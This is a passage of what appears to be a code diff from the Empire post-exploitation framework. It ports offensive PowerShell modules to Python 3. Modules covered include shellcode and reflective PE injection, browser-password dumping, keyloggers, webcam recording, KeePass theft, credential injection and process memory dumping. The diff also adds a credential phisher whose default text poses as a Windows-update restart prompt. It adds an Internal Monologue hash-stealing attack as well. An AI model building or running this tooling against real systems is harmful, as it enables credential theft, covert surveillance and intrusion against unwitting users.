153 script += "\r\n"
154 script += ntsd_exe_upload
155 script += ntsd_dll_upload
156 script += "\r\n"
157 script += exec_write
158 script += "\r\n"
159 # this is to make sure everything was uploaded properly
160 script += "Start-Sleep -s 5"
161 script += "\r\n"
162 script += code_exec
163
164 return script
131
132 l = self.mainMenu.stagers.stagers['multi/launcher']
133 l.options['Listener']['Value'] = self.options['Listener']['Value']
134 l.options['UserAgent']['Value'] = self.options['UserAgent']['Value']
135 l.options['Proxy']['Value'] = self.options['Proxy']['Value']
136 l.options['ProxyCreds']['Value'] = self.options['ProxyCreds']['Value']
137 launcher = l.generate()
138
139 if launcher == '':
140 print(helpers.color('[!] Error in launcher generation.'))
141 return ''
142 else:
143 launcherCode = launcher.split(' ')[-1]
144
145 with open(ntsd_exe, 'rb') as bin_data:
146 ntsd_exe_data = bin_data.read()
147
148 with open(ntsd_dll, 'rb') as bin_data:
149 ntsd_dll_data = bin_data.read()
150
151 exec_write = "Write-Ini %s \"%s\"" % (uploadPath, launcher)
152 code_exec = "%s\\ntsd.exe -cf %s\\ntsd.ini %s" % (uploadPath, uploadPath, bin)
153 ntsd_exe_upload = self.mainMenu.stagers.generate_upload(ntsd_exe_data, ntsd_exe_upload_path)
154 ntsd_dll_upload = self.mainMenu.stagers.generate_upload(ntsd_dll_data, ntsd_dll_upload_path)
155
156 script += "\r\n"
157 script += ntsd_exe_upload
158 script += ntsd_dll_upload
159 script += "\r\n"
160 script += exec_write
161 script += "\r\n"
162 # this is to make sure everything was uploaded properly
163 script += "Start-Sleep -s 5"
164 script += "\r\n"
165 script += code_exec
166
167 return script
+8
-5
lib/modules/powershell/code_execution/invoke_reflectivepeinjection.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14 import base64
25
3 class Module:
6 class Module(object):
47
58 def __init__(self, mainMenu, params=[]):
69
9295 try:
9396 f = open(moduleSource, 'r')
9497 except:
95 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
98 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
9699 return ""
97100
98101 moduleCode = f.read()
104107
105108 #check if dllpath or PEUrl is set. Both are required params in their respective parameter sets.
106109 if self.options['DllPath']['Value'] == "" and self.options['PEUrl']['Value'] == "":
107 print helpers.color("[!] Please provide a PEUrl or DllPath")
110 print(helpers.color("[!] Please provide a PEUrl or DllPath"))
108111 return ""
109 for option,values in self.options.iteritems():
112 for option,values in self.options.items():
110113 if option.lower() != "agent":
111114 if option.lower() == "dllpath":
112115 if values['Value'] != "":
119122 scriptEnd += " -PEbase64 " + str(base64bytes)
120123
121124 except:
122 print helpers.color("[!] Error in reading/encoding dll: " + str(values['Value']))
125 print(helpers.color("[!] Error in reading/encoding dll: " + str(values['Value'])))
123126 elif values['Value'].lower() == "true":
124127 scriptEnd += " -" + str(option)
125128 elif values['Value'] and values['Value'] != '':
+7
-4
lib/modules/powershell/code_execution/invoke_shellcode.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 import re
14 from lib.common import helpers
25 import pdb
36
4 class Module:
7 class Module(object):
58
69 def __init__(self, mainMenu, params=[]):
710
97100 try:
98101 f = open(moduleSource, 'r')
99102 except:
100 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
103 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
101104 return ""
102105
103106 moduleCode = f.read()
110113 listenerName = self.options['Listener']['Value']
111114 if listenerName != "":
112115 if not self.mainMenu.listeners.is_listener_valid(listenerName):
113 print helpers.color("[!] Invalid listener: " + listenerName)
116 print(helpers.color("[!] Invalid listener: " + listenerName))
114117 return ""
115118 else:
116119 # TODO: redo pulling these listener configs...
129132 self.options['Lport']['Value'] = str(port)
130133 self.options['Payload']['Value'] = str(MSFpayload)
131134
132 for option,values in self.options.iteritems():
135 for option,values in self.options.items():
133136 if option.lower() != "agent" and option.lower() != "listener":
134137 if values['Value'] and values['Value'] != '':
135138 if option.lower() == "payload":
+6
-3
lib/modules/powershell/code_execution/invoke_shellcodemsil.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 import re
14 from lib.common import helpers
25
3 class Module:
6 class Module(object):
47
58 def __init__(self, mainMenu, params=[]):
69
7073 try:
7174 f = open(moduleSource, 'r')
7275 except:
73 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
76 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
7477 return ""
7578
7679 moduleCode = f.read()
8083
8184 scriptEnd = "Invoke-ShellcodeMSIL"
8285
83 for option,values in self.options.iteritems():
86 for option,values in self.options.items():
8487 if option.lower() != "agent":
8588 if values['Value'] and values['Value'] != '':
8689 if option.lower() == "shellcode":
+6
-3
lib/modules/powershell/collection/ChromeDump.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
8184 try:
8285 f = open(moduleSource, 'r')
8386 except:
84 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
87 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
8588 return ""
8689
8790 moduleCode = f.read()
9396
9497
9598 # add any arguments to the end execution of the script
96 for option,values in self.options.iteritems():
99 for option,values in self.options.items():
97100 if option.lower() != "agent":
98101 if values['Value'] and values['Value'] != '':
99102 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/collection/FoxDump.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
8588 try:
8689 f = open(moduleSource, 'r')
8790 except:
88 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
91 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
8992 return ""
9093
9194 moduleCode = f.read()
97100
98101
99102 # add any arguments to the end execution of the script
100 for option,values in self.options.iteritems():
103 for option,values in self.options.items():
101104 if option.lower() != "agent":
102105 if values['Value'] and values['Value'] != '':
103106 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/collection/USBKeylogger.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
5962 try:
6063 f = open(moduleSource, 'r')
6164 except:
62 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
65 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
6366 return ""
6467
6568 moduleCode = f.read()
6972
7073 scriptEnd = "Get-USBKeystrokes "
7174
72 for option,values in self.options.iteritems():
75 for option,values in self.options.items():
7376 if option.lower() != "agent":
7477 if values['Value'] and values['Value'] != '':
7578 if values['Value'].lower() == "true":
+4
-2
lib/modules/powershell/collection/WebcamRecorder.py less more
0 from builtins import str
1 from builtins import object
02 from lib.common import helpers
13
2 class Module:
4 class Module(object):
35
46 def __init__(self, mainMenu, params=[]):
57
206208 # read in the common module source code
207209
208210 # add any arguments to the end execution of the script
209 for option,values in self.options.iteritems():
211 for option,values in self.options.items():
210212 if option.lower() != "agent":
211213 if values['Value'] and values['Value'] != '':
212214 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/collection/browser_data.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
8184 try:
8285 f = open(moduleSource, 'r')
8386 except:
84 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
87 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
8588 return ""
8689
8790 moduleCode = f.read()
9295
9396 scriptEnd = "\nGet-BrowserInformation "
9497 # add any arguments to the end execution of the script
95 for option,values in self.options.iteritems():
98 for option,values in self.options.items():
9699 if option.lower() != "agent":
97100 if values['Value'] and values['Value'] != '':
98101 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/collection/clipboard_monitor.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
6972 try:
7073 f = open(moduleSource, 'r')
7174 except:
72 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
75 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
7376 return ""
7477
7578 moduleCode = f.read()
7982
8083 scriptEnd = "Get-ClipboardContents"
8184
82 for option, values in self.options.iteritems():
85 for option, values in self.options.items():
8386 if option.lower() != "agent":
8487 if values['Value'] and values['Value'] != '':
8588 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/collection/file_finder.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
139142 try:
140143 f = open(moduleSource, 'r')
141144 except:
142 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
145 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
143146 return ""
144147
145148 moduleCode = f.read()
150153
151154 script += moduleName + " "
152155
153 for option,values in self.options.iteritems():
156 for option,values in self.options.items():
154157 if option.lower() != "agent":
155158 if values['Value'] and values['Value'] != '':
156159 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/collection/find_interesting_file.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
104107 try:
105108 f = open(moduleSource, 'r')
106109 except:
107 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
110 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
108111 return ""
109112
110113 moduleCode = f.read()
115118
116119 script += moduleName + " "
117120
118 for option,values in self.options.iteritems():
121 for option,values in self.options.items():
119122 if option.lower() != "agent":
120123 if values['Value'] and values['Value'] != '':
121124 if values['Value'].lower() == "true":
+112
-0
lib/modules/powershell/collection/get-winupdates.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
3 from lib.common import helpers
4
5 class Module(object):
6
7 def __init__(self, mainMenu, params=[]):
8
9 # metadata info about the module, not modified during runtime
10 self.info = {
11 # name for the module that will appear in module menus
12 'Name': 'Get Microsoft Updates',
13
14 # list of one or more authors for the module
15 'Author': ['Maarten Hartsuijker','@classityinfosec'],
16
17 # more verbose multi-line description of the module
18 'Description': ('This module will list the Microsoft update history, including pending updates, of the machine'),
19
20 # True if the module needs to run in the background
21 'Background' : True,
22
23 # True if we're saving the output as a file
24 'SaveOutput' : False,
25
26 'OutputExtension' : None,
27
28 # True if the module needs admin rights to run
29 'NeedsAdmin' : True,
30
31 # True if the method doesn't touch disk/is reasonably opsec safe
32 'OpsecSafe' : True,
33
34 'Language' : 'powershell',
35
36 'MinLanguageVersion' : '2',
37
38 # list of any references/other comments
39 'Comments': [
40 'Have fun'
41 ]
42 }
43
44 # any options needed by the module, settable during runtime
45 self.options = {
46 # format:
47 # value_name : {description, required, default_value}
48 'Agent' : {
49 # The 'Agent' option is the only one that MUST be in a module
50 'Description' : 'Agent to run the module on.',
51 'Required' : True,
52 'Value' : ''
53 },
54 'ComputerName' : {
55 # The 'ComputerName' option defaults to localhost but is adjustable
56 'Description' : 'The ComputerName this agents user has admin access to that must be queried for updates',
57 'Required' : True,
58 'Value' : 'localhost'
59 },
60 'OutFile' : {
61 'Description' : 'Path to Output File',
62 'Required' : False,
63 'Value' : ''
64 }
65 }
66
67 # save off a copy of the mainMenu object to access external functionality
68 # like listeners/agent handlers/etc.
69 self.mainMenu = mainMenu
70
71
72 if params:
73 for param in params:
74 # parameter format is [Name, Value]
75 option, value = param
76 if option in self.options:
77 self.options[option]['Value'] = value
78
79
80 def generate(self, obfuscate=False, obfuscationCommand=""):
81
82
83 computername = self.options['ComputerName']['Value']
84 print(helpers.color("[+] Querying: " + str(computername)))
85
86
87 # if you're reading in a large, external script that might be updates,
88 # use the pattern below
89 # read in the common module source code
90 moduleSource = self.mainMenu.installPath + "/data/module_source/collection/Get-WinUpdates.ps1"
91 if obfuscate:
92 helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
93 moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
94 try:
95 f = open(moduleSource, 'r')
96 except:
97 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
98 return ""
99
100 moduleCode = f.read()
101 f.close()
102
103 script = moduleCode
104
105 scriptEnd = " Get-WinUpdates"
106 scriptEnd += " -ComputerName "+computername
107
108 if obfuscate:
109 scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
110 script += scriptEnd
111 return script
+6
-3
lib/modules/powershell/collection/get_indexed_item.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
6467 try:
6568 f = open(moduleSource, 'r')
6669 except:
67 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
70 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
6871 return ""
6972
7073 moduleCode = f.read()
7477
7578 scriptEnd = "Get-IndexedItem "
7679
77 for option,values in self.options.iteritems():
80 for option,values in self.options.items():
7881 if option.lower() != "agent":
7982 if values['Value'] and values['Value'] != '':
8083 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/collection/get_sql_column_sample_data.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
8487 try:
8588 f = open(moduleSource, 'r')
8689 except:
87 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
90 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
8891 return ""
8992
9093 if check_all:
97100 auxScript = auxSource.read()
98101 script += " " + auxScript
99102 except:
100 print helpers.color("[!] Could not read additional module source path at: " + str(auxModuleSource))
103 print(helpers.color("[!] Could not read additional module source path at: " + str(auxModuleSource)))
101104 scriptEnd = " Get-SQLInstanceDomain "
102105 if username != "":
103106 scriptEnd += " -Username "+username
+5
-2
lib/modules/powershell/collection/get_sql_query.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
7679 with open(moduleSource, 'r') as source:
7780 script = source.read()
7881 except:
79 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
82 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
8083 return ""
8184
8285 scriptEnd = " Get-SQLQuery"
+6
-3
lib/modules/powershell/collection/inveigh.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
207210 try:
208211 f = open(moduleSource, 'r')
209212 except:
210 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
213 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
211214 return ""
212215
213216 moduleCode = f.read()
218221 # set defaults for Empire
219222 scriptEnd = "\n" + 'Invoke-Inveigh -Tool "2"'
220223
221 for option,values in self.options.iteritems():
224 for option,values in self.options.items():
222225 if option.lower() != "agent":
223226 if values['Value'] and values['Value'] != '':
224227 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/collection/keylogger.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
5760 try:
5861 f = open(moduleSource, 'r')
5962 except:
60 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
63 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
6164 return ""
6265
6366 moduleCode = f.read()
6770
6871 scriptEnd = "Get-Keystrokes "
6972
70 for option,values in self.options.iteritems():
73 for option,values in self.options.items():
7174 if option.lower() != "agent":
7275 if values['Value'] and values['Value'] != '':
7376 if values['Value'].lower() == "true":
+7
-4
lib/modules/powershell/collection/minidump.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
7477 try:
7578 f = open(moduleSource, 'r')
7679 except:
77 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
80 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
7881 return ""
7982
8083 moduleCode = f.read()
8487
8588 scriptEnd = ""
8689
87 for option,values in self.options.iteritems():
90 for option,values in self.options.items():
8891 if option.lower() != "agent":
8992 if values['Value'] and values['Value'] != '':
9093 if option == "ProcessName":
9295 elif option == "ProcessId":
9396 scriptEnd = "Get-Process -Id " + values['Value'] + " | Out-Minidump"
9497
95 for option,values in self.options.iteritems():
98 for option,values in self.options.items():
9699 if values['Value'] and values['Value'] != '':
97100 if option != "Agent" and option != "ProcessName" and option != "ProcessId":
98101 scriptEnd += " -" + str(option) + " " + str(values['Value'])
+6
-3
lib/modules/powershell/collection/netripper.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
9295 try:
9396 f = open(moduleSource, 'r')
9497 except:
95 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
98 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
9699 return ""
97100
98101 moduleCode = f.read()
102105
103106 scriptEnd = "Invoke-NetRipper "
104107
105 for option,values in self.options.iteritems():
108 for option,values in self.options.items():
106109 if option.lower() != "agent":
107110 if option.lower() == "searchstrings":
108111 scriptEnd += " -" + str(option) + " \"" + str(values['Value']) + "\""
+6
-3
lib/modules/powershell/collection/ninjacopy.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
8184 try:
8285 f = open(moduleSource, 'r')
8386 except:
84 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
87 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
8588 return ""
8689
8790 moduleCode = f.read()
9194
9295 scriptEnd = "$null = Invoke-NinjaCopy "
9396
94 for option,values in self.options.iteritems():
97 for option,values in self.options.items():
9598 if option.lower() != "agent":
9699 if values['Value'] and values['Value'] != '':
97100 if values['Value'].lower() == "true":
+2
-1
lib/modules/powershell/collection/packet_capture.py less more
0 from builtins import object
01 from lib.common import helpers
12
2 class Module:
3 class Module(object):
34
45 def __init__(self, mainMenu, params=[]):
56
+4
-2
lib/modules/powershell/collection/prompt.py less more
0 from builtins import str
1 from builtins import object
02 from lib.common import helpers
13
2 class Module:
4 class Module(object):
35
46 def __init__(self, mainMenu, params=[]):
57
110112 }
111113 Invoke-Prompt """
112114
113 for option,values in self.options.iteritems():
115 for option,values in self.options.items():
114116 if option.lower() != "agent":
115117 if values['Value'] and values['Value'] != '':
116118 if values['Value'].lower() == "true":
+4
-2
lib/modules/powershell/collection/screenshot.py less more
0 from builtins import str
1 from builtins import object
02 from lib.common import helpers
13
2 class Module:
4 class Module(object):
35
46 def __init__(self, mainMenu, params=[]):
57
105107 else:
106108 self.info['OutputExtension'] = 'png'
107109
108 for option,values in self.options.iteritems():
110 for option,values in self.options.items():
109111 if option.lower() != "agent":
110112 if values['Value'] and values['Value'] != '':
111113 if values['Value'].lower() == "true":
+150
-0
lib/modules/powershell/collection/toasted.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
3 from lib.common import helpers
4
5 class Module(object):
6
7 def __init__(self, mainMenu, params=[]):
8
9 self.info = {
10 'Name': 'Invoke-CredentialPhisher',
11
12 'Author': ['Powershell script by @foxit', 'Empire implementation by @Quickbreach'],
13
14 'Description': ("Spawns a native toast notification that, if clicked, "
15 "prompts the current user to enter their credentials into a native looking prompt. Notification stays on screen for ~25 seconds. "
16 "Requires Windows >= 8.1/2012"),
17
18 'Background': False,
19
20 'OutputExtension': None,
21
22 'NeedsAdmin': False,
23
24 'OpsecSafe': False,
25
26 'Language': 'powershell',
27
28 'MinLanguageVersion': '2',
29
30 'Comments': [
31 'https://www.fox-it.com/en/insights/blogs/blog/phishing-ask-and-ye-shall-receive/'
32 ]
33 }
34
35 # Any options needed by the module, settable during runtime
36 self.options = {
37 'Agent': {
38 'Description': 'Agent to phish credentials from',
39 'Required' : True,
40 'Value' : ''
41 },
42 'ToastTitle': {
43 'Description': 'Title of toast notification box',
44 'Required' : True,
45 'Value' : '"Windows will restart in 5 minutes to finish installing updates"'
46 },
47 'ToastMessage': {
48 'Description': 'Message of toast notification box',
49 'Required' : True,
50 'Value' : '"Windows will soon restart to complete applying recently installed updates. Use the drop down below to reschedule the restart for a later time."'
51 },
52 'Application': {
53 'Description': 'Name of the application to claim launched the prompt (ie. "outlook", "explorer")',
54 'Required' : True,
55 'Value' : '"System Configuration"'
56 },
57 'CredBoxTitle': {
58 'Description': 'Title on the box prompting for credentials',
59 'Required' : True,
60 'Value' : '"Are you sure you want to reschedule restarting your PC?"'
61 },
62 'CredBoxMessage': {
63 'Description': 'Message of the box prompting for credentials',
64 'Required' : True,
65 'Value' : '"Authentication is required to reschedule a system restart"'
66 },
67 'ToastType': {
68 'Description': 'Type of Toast notification ("System" or "Application")',
69 'Required' : True,
70 'Value' : 'System'
71 },
72 'VerifyCreds': {
73 'Description': 'Switch. True/False to verify the creds a user provides, and prompt them again until they either click cancel or enter valid creds (default = false)',
74 'Required' : False,
75 'Value' : ''
76 },
77 'HideProcess': {
78 'Description': 'Switch. True/False to hide the window of the process we claim launched the prompt (default = false)',
79 'Required' : False,
80 'Value' : ''
81 },
82 }
83
84 # Save off a copy of the mainMenu object to access external
85 # functionality like listeners/agent handlers/etc.
86 self.mainMenu = mainMenu
87
88 # During instantiation, any settable option parameters are passed as
89 # an object set to the module and the options dictionary is
90 # automatically set. This is mostly in case options are passed on
91 # the command line.
92 if params:
93 for param in params:
94 # Parameter format is [Name, Value]
95 option, value = param
96 if option in self.options:
97 self.options[option]['Value'] = value
98
99
100 def generate(self, obfuscate=False, obfuscationCommand=""):
101
102 # The PowerShell script itself, with the command to invoke for
103 # execution appended to the end. Scripts should output everything
104 # to the pipeline for proper parsing.
105 #
106 # If you're planning on storing your script in module_source as a ps1,
107 # or if you're importing a shared module_source, use the first
108 # method to import it and the second to add any additional code and
109 # launch it.
110 #
111 # If you're just going to inline your script, you can delete the first
112 # method entirely and just use the second. The script should be
113 # stripped of comments, with a link to any original reference script
114 # included in the comments.
115 #
116 # First method: Read in the source script from module_source
117 moduleSource = self.mainMenu.installPath + "/data/module_source/collection/Invoke-CredentialPhisher.ps1"
118 if obfuscate:
119 helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
120 moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
121 try:
122 f = open(moduleSource, 'r')
123 except:
124 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
125 return ""
126
127 moduleCode = f.read()
128 f.close()
129
130 # If you'd just like to import a subset of the functions from the
131 # module source, use the following:
132 # script = helpers.generate_dynamic_powershell_script(moduleCode, ["Get-Something", "Set-Something"])
133 script = moduleCode
134
135 scriptEnd = "Invoke-CredentialPhisher"
136
137 # Add any arguments to the end execution of the script
138 for option, values in self.options.items():
139 if option.lower() != "agent":
140 if values['Value'] and values['Value'] != '':
141 if values['Value'].lower() == "true":
142 # if we're just adding a switch
143 scriptEnd += " -" + str(option)
144 else:
145 scriptEnd += " -" + str(option) + " " + str(values['Value'])
146 if obfuscate:
147 scriptEnd = helpers.obfuscate(psScript=scriptEnd, installPath=self.mainMenu.installPath, obfuscationCommand=obfuscationCommand)
148 script += scriptEnd
149 return script
+6
-3
lib/modules/powershell/collection/vaults/add_keepass_config_trigger.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
9194 try:
9295 f = open(moduleSource, 'r')
9396 except:
94 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
97 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
9598 return ""
9699
97100 moduleCode = f.read()
105108
106109 scriptEnd += "\nFind-KeePassconfig | Add-KeePassConfigTrigger "
107110
108 for option, values in self.options.iteritems():
111 for option, values in self.options.items():
109112 if option.lower() != "agent":
110113 if values['Value'] and values['Value'] != '':
111114 if values['Value'].lower() == "true":
+5
-2
lib/modules/powershell/collection/vaults/find_keepass_config.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
7679 try:
7780 f = open(moduleSource, 'r')
7881 except:
79 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
82 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
8083 return ""
8184
8285 moduleCode = f.read()
+5
-2
lib/modules/powershell/collection/vaults/get_keepass_config_trigger.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
7679 try:
7780 f = open(moduleSource, 'r')
7881 except:
79 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
82 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
8083 return ""
8184
8285 moduleCode = f.read()
+5
-2
lib/modules/powershell/collection/vaults/keethief.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
7679 try:
7780 f = open(moduleSource, 'r')
7881 except:
79 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
82 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
8083 return ""
8184
8285 moduleCode = f.read()
+5
-2
lib/modules/powershell/collection/vaults/remove_keepass_config_trigger.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
7679 try:
7780 f = open(moduleSource, 'r')
7881 except:
79 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
82 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
8083 return ""
8184
8285 moduleCode = f.read()
+10
-7
lib/modules/powershell/credentials/credential_injection.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
102105 try:
103106 f = open(moduleSource, 'r')
104107 except:
105 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
108 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
106109 return ""
107110
108111 moduleCode = f.read()
113116 scriptEnd = "Invoke-CredentialInjection"
114117
115118 if self.options["NewWinLogon"]['Value'] == "" and self.options["ExistingWinLogon"]['Value'] == "":
116 print helpers.color("[!] Either NewWinLogon or ExistingWinLogon must be specified")
119 print(helpers.color("[!] Either NewWinLogon or ExistingWinLogon must be specified"))
117120 return ""
118121
119122 # if a credential ID is specified, try to parse
121124 if credID != "":
122125
123126 if not self.mainMenu.credentials.is_credential_valid(credID):
124 print helpers.color("[!] CredID is invalid!")
127 print(helpers.color("[!] CredID is invalid!"))
125128 return ""
126129
127130 (credID, credType, domainName, userName, password, host, os, sid, notes) = self.mainMenu.credentials.get_credentials(credID)[0]
128131
129132 if credType != "plaintext":
130 print helpers.color("[!] A CredID with a plaintext password must be used!")
133 print(helpers.color("[!] A CredID with a plaintext password must be used!"))
131134 return ""
132135
133136 if domainName != "":
138141 self.options["Password"]['Value'] = password
139142
140143 if self.options["DomainName"]['Value'] == "" or self.options["UserName"]['Value'] == "" or self.options["Password"]['Value'] == "":
141 print helpers.color("[!] DomainName/UserName/Password or CredID required!")
144 print(helpers.color("[!] DomainName/UserName/Password or CredID required!"))
142145 return ""
143146
144 for option,values in self.options.iteritems():
147 for option,values in self.options.items():
145148 if option.lower() != "agent" and option.lower() != "credid":
146149 if values['Value'] and values['Value'] != '':
147150 if values['Value'].lower() == "true":
+5
-2
lib/modules/powershell/credentials/enum_cred_store.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36 def __init__(self, mainMenu, params=[]):
47 self.info = {
58 'Name': 'enum_cred_store',
4548 try:
4649 f = open(moduleSource, 'r')
4750 except:
48 print helpers.color("[!] Unable to open script at the configured path: " + str(scriptPath))
51 print(helpers.color("[!] Unable to open script at the configured path: " + str(scriptPath)))
4952 return ""
5053
5154 script = f.read()
+122
-0
lib/modules/powershell/credentials/invoke_internal_monologue.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
3 from lib.common import helpers
4
5 class Module:
6
7 def __init__(self, mainMenu, params=[]):
8
9 self.info = {
10 'Name': 'Invoke-InternalMonologue',
11
12 'Author': ['@eladshamir', '@4lex'],
13
14 'Description': (
15 'Uses the Internal Monologue attack to force easily-decryptable '
16 'Net-NTLMv1 responses over localhost and without directly touching '
17 'LSASS.\n'
18 'https://github.com/eladshamir/Internal-Monologue'),
19
20 'Background': False,
21
22 'OutputExtension': None,
23
24 'NeedsAdmin': True,
25
26 'OpsecSafe': False,
27
28 'Language': 'powershell',
29
30 'MinLanguageVersion': '2',
31
32 'Comments': [
33 'The underlying powershell function accepts switches that '
34 '[DISABLE] default behaviours. The default settings will '
